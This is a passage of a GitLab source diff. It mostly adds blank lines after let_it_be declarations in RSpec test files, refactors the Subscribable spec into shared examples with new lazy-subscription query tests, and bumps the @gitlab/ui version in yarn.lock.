--- a/spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb
+++ b/spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::SlashCommands::Presenters::IssueComment do
let_it_be(:project) { create(:project) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:note) { create(:note, project: project, noteable: issue) }
+
let(:author) { note.author }
describe '#present' do
diff --git a/spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb b/spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb
index a4d8e3957cf..7b3440b40a7 100644
--- a/spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb
+++ b/spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::SlashCommands::Presenters::IssueMove do
let_it_be(:project, reload: true) { create(:project) }
let_it_be(:other_project) { create(:project) }
let_it_be(:old_issue, reload: true) { create(:issue, project: project) }
+
let(:new_issue) { Issues::MoveService.new(project, user).execute(old_issue, other_project) }
let(:attachment) { subject[:attachments].first }
diff --git a/spec/lib/gitlab/snippet_search_results_spec.rb b/spec/lib/gitlab/snippet_search_results_spec.rb
index 2177b2be6d6..fc342b7e9b1 100644
--- a/spec/lib/gitlab/snippet_search_results_spec.rb
+++ b/spec/lib/gitlab/snippet_search_results_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::SnippetSearchResults do
include SearchHelpers
let_it_be(:snippet) { create(:snippet, content: 'foo', file_name: 'foo') }
+
let(:results) { described_class.new(snippet.author, 'foo') }
describe '#snippet_titles_count' do
diff --git a/spec/lib/gitlab/sourcegraph_spec.rb b/spec/lib/gitlab/sourcegraph_spec.rb
index ad947475f06..6bebd1ca3e6 100644
--- a/spec/lib/gitlab/sourcegraph_spec.rb
+++ b/spec/lib/gitlab/sourcegraph_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Sourcegraph do
let_it_be(:user) { create(:user) }
+
let(:feature_scope) { true }
before do
diff --git a/spec/lib/gitlab/template/finders/repo_template_finders_spec.rb b/spec/lib/gitlab/template/finders/repo_template_finders_spec.rb
index 05f351be702..793ad1c1959 100644
--- a/spec/lib/gitlab/template/finders/repo_template_finders_spec.rb
+++ b/spec/lib/gitlab/template/finders/repo_template_finders_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Template::Finders::RepoTemplateFinder do
let_it_be(:project) { create(:project, :repository) }
+
let(:categories) { { 'HTML' => 'html' } }
subject(:finder) { described_class.new(project, 'files/', '.html', categories) }
diff --git a/spec/lib/gitlab/tree_summary_spec.rb b/spec/lib/gitlab/tree_summary_spec.rb
index 661ef507a82..a86afa9cba5 100644
--- a/spec/lib/gitlab/tree_summary_spec.rb
+++ b/spec/lib/gitlab/tree_summary_spec.rb
@@ -226,6 +226,7 @@ RSpec.describe Gitlab::TreeSummary do
describe 'References in commit messages' do
let_it_be(:project) { create(:project, :empty_repo) }
let_it_be(:issue) { create(:issue, project: project) }
+
let(:entries) { summary.summarize.first }
let(:entry) { entries.find { |entry| entry[:file_name] == 'issue.txt' } }
diff --git a/spec/lib/gitlab/url_builder_spec.rb b/spec/lib/gitlab/url_builder_spec.rb
index 6d055fe3643..b359eb422d7 100644
--- a/spec/lib/gitlab/url_builder_spec.rb
+++ b/spec/lib/gitlab/url_builder_spec.rb
@@ -92,6 +92,7 @@ RSpec.describe Gitlab::UrlBuilder do
context 'when passing a Snippet' do
let_it_be(:personal_snippet) { create(:personal_snippet, :repository) }
let_it_be(:project_snippet) { create(:project_snippet, :repository) }
+
let(:blob) { snippet.blobs.first }
let(:ref) { blob.repository.root_ref }
diff --git a/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb b/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
index a2a40f17269..db878828cd6 100644
--- a/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll, :clean_
let_it_be(:end_date) { Date.current }
let_it_be(:recorded_at) { Time.current }
let_it_be(:time_period) { { created_at: (start_date..end_date) } }
+
let(:metric_1) { 'metric_1' }
let(:metric_2) { 'metric_2' }
let(:metric_names) { [metric_1, metric_2] }
diff --git a/spec/lib/gitlab/utils/usage_data_spec.rb b/spec/lib/gitlab/utils/usage_data_spec.rb
index 6e1904c43e1..8041a0cba63 100644
--- a/spec/lib/gitlab/utils/usage_data_spec.rb
+++ b/spec/lib/gitlab/utils/usage_data_spec.rb
@@ -187,6 +187,7 @@ RSpec.describe Gitlab::Utils::UsageData do
describe '#histogram' do
let_it_be(:projects) { create_list(:project, 3) }
+
let(:project1) { projects.first }
let(:project2) { projects.second }
let(:project3) { projects.third }
diff --git a/spec/lib/gitlab/workhorse_spec.rb b/spec/lib/gitlab/workhorse_spec.rb
index c22df5dd063..d40ecc7e04e 100644
--- a/spec/lib/gitlab/workhorse_spec.rb
+++ b/spec/lib/gitlab/workhorse_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Workhorse do
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository }
def decode_workhorse_header(array)
diff --git a/spec/models/concerns/subscribable_spec.rb b/spec/models/concerns/subscribable_spec.rb
index 3e52ca5cf63..e808281b862 100644
--- a/spec/models/concerns/subscribable_spec.rb
+++ b/spec/models/concerns/subscribable_spec.rb
@@ -7,50 +7,54 @@ RSpec.describe Subscribable, 'Subscribable' do
let(:resource) { create(:issue, project: project) }
let(:user_1) { create(:user) }
- describe '#subscribed?' do
+ shared_examples 'returns expected values' do |method|
context 'without user' do
it 'returns false' do
- expect(resource.subscribed?(nil, project)).to be_falsey
+ expect(resource.public_send(method, nil, project)).to be_falsey
end
end
context 'without project' do
it 'returns false when no subscription exists' do
- expect(resource.subscribed?(user_1)).to be_falsey
+ expect(resource.public_send(method, user_1)).to be_falsey
end
- it 'returns true when a subcription exists and subscribed is true' do
+ it 'returns true when a subscription exists and subscribed is true' do
resource.subscriptions.create!(user: user_1, subscribed: true)
- expect(resource.subscribed?(user_1)).to be_truthy
+ expect(resource.public_send(method, user_1)).to be_truthy
end
- it 'returns false when a subcription exists and subscribed is false' do
+ it 'returns false when a subscription exists and subscribed is false' do
resource.subscriptions.create!(user: user_1, subscribed: false)
- expect(resource.subscribed?(user_1)).to be_falsey
+ expect(resource.public_send(method, user_1)).to be_falsey
end
end
context 'with project' do
it 'returns false when no subscription exists' do
- expect(resource.subscribed?(user_1, project)).to be_falsey
+ expect(resource.public_send(method, user_1, project)).to be_falsey
end
- it 'returns true when a subcription exists and subscribed is true' do
+ it 'returns true when a subscription exists and subscribed is true' do
resource.subscriptions.create!(user: user_1, project: project, subscribed: true)
- expect(resource.subscribed?(user_1, project)).to be_truthy
+ expect(resource.public_send(method, user_1, project)).to be_truthy
end
- it 'returns false when a subcription exists and subscribed is false' do
+ it 'returns false when a subscription exists and subscribed is false' do
resource.subscriptions.create!(user: user_1, project: project, subscribed: false)
- expect(resource.subscribed?(user_1, project)).to be_falsey
+ expect(resource.public_send(method, user_1, project)).to be_falsey
end
end
end
+ describe '#subscribed?' do
+ it_behaves_like 'returns expected values', :subscribed?
+ end
+
describe '#subscribers' do
it 'returns [] when no subcribers exists' do
expect(resource.subscribers(project)).to be_empty
@@ -189,4 +193,31 @@ RSpec.describe Subscribable, 'Subscribable' do
it_behaves_like 'setting subscriptions'
end
end
+
+ describe '#lazy_subscribed?' do
+ it_behaves_like 'returns expected values', :lazy_subscribed?
+ end
+
+ describe '#lazy_subscription' do
+ let(:labels) { create_list(:group_label, 5) }
+
+ before do
+ labels.each do |label|
+ create(:subscription, :group_label, user: user_1, subscribable: label)
+ end
+ end
+
+ it 'executes only one SQL query' do
+ lazy_queries = ActiveRecord::QueryRecorder.new do
+ labels.each { |label| label.lazy_subscription(user_1) }
+ end
+
+ preloaded_queries = ActiveRecord::QueryRecorder.new do
+ labels.each { |label| label.lazy_subscription(user_1)&.subscribed? }
+ end
+
+ expect(lazy_queries.count).to eq(0)
+ expect(preloaded_queries.count).to eq(1)
+ end
+ end
end
diff --git a/yarn.lock b/yarn.lock
index 44d2c0d0ee4..f2c8b1e10b3 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -907,10 +907,10 @@
resolved "https://registry.yarnpkg.com/@gitlab/tributejs/-/tributejs-1.0.0.tgz#672befa222aeffc83e7d799b0500a7a4418e59b8"
integrity sha512-nmKw1+hB6MHvlmPz63yPwVs1qQkycHwsKgxpEbzmky16Y6mL4EJMk3w1b8QlOAF/AIAzjCERPhe/R4MJiohbZw==
-"@gitlab/ui@28.18.2":
- version "28.18.2"
- resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-28.18.2.tgz#b840a44d4f3094e838d2f7409ca8b578064e2a6f"
- integrity sha512-KRd/gtZj0885C0cGZiEK4jV5Cdlss62z4d0ii/p45Q6KjwmAC9au946a8pgbtBMCvDmybGxvsMmH4U2MmjNDvQ==
+"@gitlab/ui@29.1.0":
+ version "29.1.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-29.1.0.tgz#0db1c12ca1ee9882613a73ddc964a81db2697c2f"
+ integrity sha512-jmsh67gmucdLxP7MBYt+SkLCXa62nYZy9/iRLZk4B+QdyEOzbpqj0ydAmPjMjFNfOV18KHKC6Lvpw4kUDE/GRA==
dependencies:
"@babel/standalone" "^7.0.0"
"@gitlab/vue-toasted" "^1.3.0"